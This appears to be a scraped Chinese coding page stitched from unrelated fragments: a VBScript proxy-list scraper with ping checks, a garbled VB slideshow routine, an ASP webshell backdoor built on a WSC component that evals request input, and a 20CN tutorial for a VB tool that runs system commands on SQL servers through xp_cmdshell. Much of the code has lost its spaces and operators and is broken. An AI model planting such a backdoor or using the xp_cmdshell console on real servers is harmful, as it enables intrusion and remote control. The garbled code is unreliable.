脚本大纲怎么写现在编用工具
Timer控件带有两个重要的参数'1、输入url目标网页地址,返回值getHTTPPage是目标网页的html代码 function getHTTPPage(url) dim Http set Http=CreateObject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"GB2312") set http=nothing if err.number<>0 then err.Clear end function '2、转换乱玛,直接用xmlhttp调用有中文字符的网页得到的将是乱玛,可以通过adodb.stream组件进行转换 Function BytesToBstr(body,Cset) dim objstream set objstream=CreateObject("adodb.stream") objstream.Type=1 objstream.Mode=3 objstream.Open objstream.Write body objstream.Position=0 objstream.Type=2 objstream.Charset=Cset BytesToBstr=objstream.ReadText objstream.Close set objstream=nothing End Function '下面试着调用的html内容 Dim Url,Html,Temp Url="" Html=getHTTPPage(Url) Call getinfo(html) Sub Getinfo(S) Dim pl(),m,St St="</TD><TD class=" & """list""" & ">" Do m=m + 1 n=P + Len(St) P=InStr(n,S,St) ReDim Preserve pl(m-1) pl(m-1)=P loop While P <> 0 For o=0 to m-1 If o+1 < m-1 Then T_S=Mid(S,pl(o)+Len(St),pl(o+1)-pl(o)-Len(St)) If Len(T_S) < 30 Then t=t+1 Select Case t Case 1 temp=temp & "端口 : " & T_S & vbcrlf Case 2 temp=temp & "类型 : " & T_S & vbcrlf Case 3 temp=temp & "地址 : " & T_S & vbcrlf Case 4 temp=temp & "时间 : " & Now & vbcrlf Case 5 t=0 Str_Sip="whois.php?whois=" Str_Eip="target=_blank>whois</TD></TR>" n1=P_Sip + Len(Str_Sip) P_Sip=InStr(n1,S,Str_Sip) n2=P_Eip + Len(Str_Eip) P_Eip=InStr(n2,S,Str_Eip) Ip=Mid(S,P_Sip+Len(Str_Sip),P_Eip-P_Sip-Len(Str_Sip)) If PingIp(Ip)=1 Then temp=temp & "IP : " & Ip & vbcrlf If MsgBox (temp,vbyesno,"是否继续? " )=vbno Then WScript.quit End If End If temp="" End Select End If Else MsgBox " 没有了",vbokonly,"提示" WSCript.quit End If Next End Sub Function PingIp(host) On Error Resume Next strComputer="." strTarget=host Set objWMIService=GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2") Set colPings=objWMIService.ExecQuery _ ("Select * From Win32_PingStatus where Address='" & strTarget & "'") If Err=0 Then Err.Clear For Each objPing in colPings If Err=0 Then Err.Clear If objPing.StatusCode=0 Then PingIp=1 temp=temp & "速度 : " & objPing.ResponseTime & " 毫秒" & vbcrlf 'MsgBox strTarget & " responded to ping." & vbcrlf &_ '"Responding Address: " & objPing.ProtocolAddress & vbcrlf &_ '"Responding Name: " & objPing.ProtocolAddressResolved & vbcrlf &_ '"Bytes Sent: " & objPing.BufferSize & vbcrlf &_ '"Time: " & objPing.ResponseTime & " ms" & vbcrlf &_ '"TTL: " & objPing.ResponseTimeToLive & " seconds" Else PingIp=0 'MsgBox strTarget & " did not respond to ping." &_ '"Status Code: " & objPing.StatusCode End If Else Err.Clear PingIP=0 'MsgBox "Unable to call Win32_PingStatus on " & strComputer & "." End If Next Else Err.Clear PingIp=0 'MsgBox "Unable to call Win32_PingStatus on " & strComputer & "." End If End Function

JavaScript里的charCodeAt始终以Unicode编码来处理字符Form1中的代码:在Declare中定义全局变量:Constbmpfilemax=5&总共5个bmp文件Dimbmpfile(bmpfilemax)AsString&bmp文件的文件名数组Dimdrawbmpmode(bmpfilemax)AsInteger&各画显示时的切换方式Dimbmpnum,movestep,xmax,ymaxAsIntegerDimkxyAsSingle&x,y二个方向的比例程序运行时先作初始化工作:PrivateSubForm-Load()bmpnum=0&当前文件号=0,第一个文件bmpfile(0)=App.Path ''\bmp1.bmp''bmpfile(1)=App.Path ''\bmp2.bmp''bmpfile(2)=App.Path ''\bmp3.bmp''bmpfile(3)=App.Path ''\bmp4.bmp''bmpfile(4)=App.Path ''\bmp5.bmp''drawbmpmode(0)=1drawbmpmode(1)=5drawbmpmode(2)=3drawbmpmode(3)=4drawbmpmode(4)=2movestep=0&步进参数xmax=Form.ScaleWidth/2ymax=Form.ScaleHeight/2kxy=ymax/xmaxPicture1.Picture=LoadPicture(bmpfile(bmpnum))Timer1.Interval=30&定时器起动EndSub响应鼠标:PrivateSubForm-Click()End&当有击鼠标动作时程序结束EndSub切换演示工作主要在定时器中完成:PrivateSubTimer1-Timer()hDestDC=Form1.HDC&目标DChSrcDC=Picture1.hDC&源DC,画是从不可见的Picture1中拷贝到窗体drawflag=drawbmpmode(bmpnum)&当前画出现的方式SelectCasedrawflagCase1&从中间逐步放大endmax=xmax&用于结束判断X1=xmax-movestepw=movestep*2Y1=Cint(ymax-movestep*kxy)h=Cint(2*movestep*kxy)i=BitBlt(hDestDC,X1,Y1,w,h,hSrcDC,X1,Y1,SRCCOPY)Case2&从左到右endmax=xmaxw=movestep*2h=Form1.ScaleHeighti=BitBlt(hDestDC,0,0,w,h,hSrcDC,X1,Y1,SRCCOPY)Case3'左右向中间endmax=xmaxw=movesteph=Form1.ScaleHeighti=BitBlt(hDestDC,0,0,w,h,hSrcDC,0,0,SRCCOPY)&左面部分X1=Form1.ScaleWidth-movestepi=BitBlt(hDestDC,X1,0,w,h,hSrcDC,X1,0,SRCCOPY)&左面部分Case4'栅条状endmax=CInt(2*xmax/10)&共分阶10条tempi=CInt(2*xmax/10)w=movesteph=Form1.ScaleHeightForij=0To9i=BitBlt(hDestDC,tempi*ij,0,w,h,hSrcDC,tempi*ij,0,SRCCOPY)NextijCase5'棱形状endmax=CInt(2*xmax/10)tempi=CInt(2*xmax/10)w=movestepForih=0Tow-1Forik=0To9Forij=0To9l=tempi*ik tempi/2t=tempi*ij tempi/2i=BitBlt(hDestDC,1-(w-ih),t-ih,(w-ih)*2,1,hSrcDC,1-(w-ih),t-ih,SRCCOPY)i=BitBlt(hDestDC,1-(w-ih),t ih,(w-ih)*2,1,hSrcDC,1-(w-ih),t ih,SRCCOPY)NextijNextikNextihEndSelectForm1.Refreshmovestep=movestep 2&步进增加Ifmovestep>endmaxThen&若步进够大,画面都已显示,本张画结束切换bmpnum=bmpnum 1&进到下一张画Ifbmpnum>=bmpfilemaxThen&若5张画已显示完则再从第一张开始bmpnum=0EndIfmovestep=0Picture1.Picture=LoadPicture(bmpfile(bmpnum))EndIfEndSub->->
<?xml version="1.0" encoding="gb2312" standalone="yes"?> <?component error="true" debug="true"?> <package> <component id="haiyangtop"> <public> <method name="lcx"><parameter name="b"/></method> </public> <script language="VBScript"><![CDATA[ sub lcx(b) eval(b) end sub ]]> </script> </component> </package> backdoor.asp内容如下: <% b=request("a") Set fs=GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop") fs.lcx(b) %> 调用方法如下:("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123") 注意这里的a=只能是vbs的代码,不可以接受像response、rquest之类的asp的东东巡逻地图用VB打造自己的SQL连接器
大家好.....好长时间没上网了...祝大家新年快乐....好了.工程开始现建一个普通窗口..放上3个textBox控件.一个是用来输入ip的txtaddres..还有就是用户名txtuser和密码txtpass...为相应的控件起个好听地名字还有1个按钮用来确定连接...
定义一个连接对象..和记录集对象publicconnasnewADODB.Connect'连接的publicrecvasnewADODB.Resordset'用来接收数据的'''''''''''''''''''''''''''''''''''''''''''''''''''连接按钮事件click()dimsqlasstringsql="Provider=SQLOLEDB.1;Password="&txtpass&";PersistSecurityInfo=True;UserID="&txtuser&";InitialCatalog="&msdb&";DataSource="&txtaddressql变量力存放的是连接字符串....conn.ConnectionString=sql'连接字符串..conn.open'连接ifconn.state=0then'表示连接不成功...当conn.state=1表示连接成功了....
好了...我们的软件现在已经可以正确的连接上sql服务器了现在我们要能执行dos命令...
在我们刚才的窗体里面在创建一个textbox(txtsend)用来打dos命令和一个发送命令按钮发送命令以后服务器会返回数据...所以还要加一个RichTextBox控件(个人推荐)...用textbox也可以在sql默认得数据库msdb里面可以执行xp_cmdshell'dos命令'对...我们现在也要把这条命令发送到服务器执行.....执行按钮事件click()dimsqlasstringsql="xp_cmdshell'"&txtsend.text&"'"'命令应该用单引号括起来....setrecv=conn.Execute(sql)'执行sql命令.并把返回数据记录在记录集recv里面dimiasinteger,colasstringWhileNotrecv.Eof'读数据到最后一行fori=0toRecv.Fields.Count-1col=recv.fields(i).nameRichTextBox.setcolor=&hff00&'改颜色RichTextBox.seltext=recv.fields(col).valuerecv.movenextnextwend程序可能会出现问题..最好加上onErrorgotoerr1err1:msgboxerr.number&err.Description'程序错误编号和类型还告诉大家vb里面有个控件可以生成连接字符串.....components或者直接按Ctrl T..添加MicrosoftADODataControl6.0(OLEDB)控件控件属性里面的选择第三个选项UseConnectionString然后点Build配置字符串就可以了..配置完以后就可以把这个控件删掉.....就讲说这里了....上面已经基本实现了主题的功能..大家还可以自己改进一下...是不是很简单喔大家有什么问题可以找我一起研究..===============================================本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处
编写:特务QQ:27272855E-mail:XF_Mengqier@163.com
->CreateObject的第二个参数用来通过DCOM在远程服务器上创建对象;而WScript.CreateObject的第二个参数用来创建本地对象并响应事件。